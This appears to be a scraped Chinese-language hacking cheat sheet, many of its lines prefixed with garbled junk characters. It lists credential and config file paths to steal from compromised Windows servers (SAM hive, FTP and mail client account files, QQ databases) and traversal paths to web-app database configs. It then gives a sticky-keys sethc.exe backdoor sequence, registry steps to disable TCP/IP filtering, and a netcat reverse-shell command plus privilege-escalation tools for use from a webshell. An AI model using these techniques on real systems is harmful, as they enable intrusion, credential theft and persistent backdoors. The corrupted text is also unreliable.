* ^3 U: l; d8 z+ [# FC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
2 l/ Z" W& D7 m% _C:\WINDOWS\system32\config\default.LOG
; J6 ?  K2 }4 q0 LC:\WINDOWS\system32\config\sam
9 z& P6 A2 i* I* w; k% TC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
6 y! Z* K3 ]' f- U; D! O( Nc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
' T+ d3 |" b, z9 n& L. i' [c:\tomcat6\bin\version.sh
& @% E6 _+ ], r( R3 B! D  q6 T; Nc:\tomcat\bin\version.sh
2 w" P- i9 `6 \* C. Qc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
9 c1 |% Z+ \* O9 k& u' s$ ec:\Apache2\Apache2\bin\Apache.exe
* R6 U$ o: L- j1 M1 kc:\Apache2\bin\Apache.exe
$ J6 t) a0 b/ i! H' mc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
1 l9 p4 N: d* d0 Z2 m( b4 E% x/usr/local/tomcat5527/bin/version.sh
8 V/ _# K* A5 y- K/usr/share/tomcat6/bin/startup.sh
3 h1 u1 c3 S5 s, }) |4 O/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
% Z8 u4 X! b8 ]& e& {0 vc:\Program Files\Tencent\qq\User.db
8 L' ?5 [' [1 x2 Mc:\Program Files\Tencent\qq\qq.exe
8 \2 T8 \( W4 Q/ ic:\Program Files\Tencent\qq\bin\qq.exe
- q4 g9 F; l2 V# p7 ~6 ]3 ac:\Program Files\Tencent\qq2009\qq.exe
$ C, W! y5 _7 R8 X' oc:\Program Files\Tencent\qq2008\qq.exe
: y# E; D4 t2 z* Oc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
& ^! c$ m8 B- G$ ?C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
/ s% c# g/ N. Hc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
- x' R+ `" E( f+ S, M/ J5 ~c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
+ k/ \, u% q# u6 E, s4 k. rC:\Program Files\Foxmal\accounts.cfg
* b) ]2 M- Y; R4 G  _' M7 jC:\Program Files\tencent\Foxmal\Foxmail.exe
" m' p! \. i5 mC:\Program Files\tencent\Foxmal\accounts.cfg
% `. T/ L" P3 a, X) G9 ]C:\Program Files\LeapFTP 3.0\LeapFTP.exe
: Y( m# u* X) z& |$ [6 rC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
; s# O, F9 |" @& m% O* O: ]C:\Program Files\FlashFXP\FlashFXP.ini
7 i/ l1 ~. |5 }8 c- P/ k. tC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
/ W5 o. u+ d: b& O. nc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
% e1 |9 g" r, i; hc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
% l8 ^; p. D- [2 i# x6 x
4 v6 h! u0 ]: ]8 t9 Q4 ]0 T3.网站相对路径:
# ~6 O. [6 `' V6 `. i' ?
/config.php
../../config.php
9 B5 r7 i5 f* d3 h/ {../config.php
../../../config.php
) @6 O* ^# Z: @5 Y8 m/config.inc.php
./config.inc.php
! w3 T9 c' }6 q# L* |7 y* y1 K../../config.inc.php
# r7 u  c' Z% \' F$ W* l+ b../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
) k2 X! f$ M+ w5 S../../conn.php
7 x  T$ K! j1 ?../conn.php
../../../conn.php
/conn.asp
! \# S) `& I8 j( S./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
4 S+ s/ g1 r" q# E- w6 O./config.inc.php
../../config.inc.php
$ V$ Q9 o3 j$ Y../config.inc.php
../../../config.inc.php
4 I) h9 |5 {2 I7 M/config/config.php
8 a; E3 K: _, a* m$ J& _../../config/config.php
. t# G3 k1 h7 h& E; Q2 k3 ~../config/config.php
: ]( d: D) w+ Q5 [; o../../../config/config.php
+ P5 ]# R# v+ n  A2 c2 |/config/config.inc.php
. `6 n! `& j* q! b  A& I./config/config.inc.php
1 T4 I6 w; s: V' {2 ~$ V../../config/config.inc.php
" N3 H( ~/ ]+ o; E& |  U$ [../config/config.inc.php
% b  B& Q9 W$ x0 i" D../../../config/config.inc.php
& v3 {" M1 C* e/config/conn.php
4 D5 Z2 C  w) V  L7 a& P' H./config/conn.php
$ z3 U- s0 x4 E% ^+ g../../config/conn.php
../config/conn.php
../../../config/conn.php
1 H8 ~5 U' b4 F) l0 k# R0 y/config/conn.asp
3 L$ L2 p# H+ ]" _  Y./config/conn.asp
../../config/conn.asp
) R( Q% S6 Y. ?0 G: F../config/conn.asp
& S: p# E' i( u../../../config/conn.asp
2 q7 s- v# C( k9 a4 s2 C" v1 o/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
5 A1 U. v, O: l* u3 p9 E& B+ R../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
5 |* \; S( h  J/ }4 C. m; E1 t5 E- o) t' W../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
$ ]: n, [9 L' j& Y+ U3 s../data/config.inc.php
  i* q  ?. a# U, [% N1 V/ J../../../data/config.inc.php
/data/conn.php
% d: m" I8 M) h$ V3 T./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
$ \+ k. o) T8 x) ]; h* N/data/conn.asp
./data/conn.asp
9 ^4 c4 `+ |3 j( t../../data/conn.asp
../data/conn.asp
, S! p( K) l. o1 e& |../../../data/conn.asp
' t3 {* a; g5 z" n, t  M9 r/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
1 m% ~4 \- }6 Z+ D& ^# s, i  P../data/config.inc.php
! q" S& N- v% o. p../../../data/config.inc.php
8 w; X# [, K* p7 ]" O7 c/include/config.php
../../include/config.php
# b4 u+ P+ e* q9 n' }. o4 ^# ~../include/config.php
8 Y7 }/ M0 L( `% V3 @8 n: h../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
' B) M1 Z( I) [8 M9 a9 D# W! |../include/config.inc.php
../../../include/config.inc.php
$ J# F& p% f9 s+ \" @9 T* C/include/conn.php
; T- O( w0 ^$ p. I./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
: K, m1 w7 w) A0 }) A/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
* j+ T* x& S- L# X../../include/config.inc.php
# K% u; R1 l! l& e% l4 K../include/config.inc.php
; i! C- t% x1 W: m5 S../../../include/config.inc.php
/inc/config.php
../../inc/config.php
& A" x. }( F9 D# Z: E( d; w( m../inc/config.php
8 o2 F2 J$ m: f- C3 Q../../../inc/config.php
/inc/config.inc.php
, E4 b/ S- r* w" N9 B./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
% l$ ~3 D, V* O, y6 L7 s& @../../../inc/config.inc.php
! b: Z! K. w) F- n8 b! R; R7 V: \' S  k/inc/conn.php
, a6 A/ Q8 \; f& F+ @! r5 n./inc/conn.php
% H, A1 H' e4 o8 }) L# b5 e; N8 ^+ V0 C../../inc/conn.php
../inc/conn.php
' {  j2 W) i% k) D../../../inc/conn.php
/inc/conn.asp
# w; e, B$ Y0 E  j  S( m./inc/conn.asp
../../inc/conn.asp
2 {9 H, U5 n. ]! {../inc/conn.asp
3 @1 q2 J$ s  m6 }; S. k../../../inc/conn.asp
% _( P3 z1 B2 ~1 f/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
7 K8 I% c* ~) e( F6 }) x/index.php
./index.php
# @0 E1 p) Y6 o& q0 c( Z1 b../../index.php
../index.php
. Q1 Q& U/ i' }- _../../../index.php
/index.asp
./index.asp
5 `* u# ~, ^0 k! w0 y$ @& k../../index.asp
& c0 n8 r2 \( Q8 _: I& s! t9 m../index.asp
../../../index.asp
2 [9 `- }' z/ c  ~$ W0 V- r替换SHIFT后门
0 h) G4 H: b; g) F　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
: G- k2 r5 E" X9 a
　　attrib c:\windows\system32\sethc.exe +h +r +s

3 a) z1 G! `4 @9 ]. Z6 A8 I　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
( D$ @8 Y0 R' h去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
; h5 x) p+ o% o/ VHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
7 F' _0 g9 K. y( h1 _9 w
分别用
/ O( ?; B% e1 Xregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
* @$ V' ^+ _8 C( [/ u1 e4 l+ M命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
0 [- D2 P5 S) W) k/ J2 K8 y4 Kregedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
: B0 G9 E# h7 w导入注册表即可
$ S/ T, @" p% f
webshell提权小技巧
: e' Q! N, n. N: Y# |cmd路径:
* B  i9 ~6 s$ X( f) O/ n: \; u$ |3 |c:\windows\temp\cmd.exe
; w- _& L7 X9 X* a' K5 j2 o: Q: tnc也在同目录下
例如反弹cmdshell：
1 U( ]# j3 M/ [$ z. d$ q; i"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
# y$ q2 [2 F2 y' x6 X
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
+ w) a. E6 k6 E  k3 `/ l4 _命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
) a* z+ K* g* Q1 {+ t我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功